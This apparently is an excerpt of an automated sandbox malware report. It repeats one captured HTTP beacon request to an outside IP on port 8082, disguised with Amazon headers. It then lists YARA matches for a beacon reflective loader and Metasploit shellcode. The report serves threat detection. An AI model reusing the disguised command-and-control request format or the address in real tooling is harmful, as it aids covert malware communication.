Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: FireEye
Source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
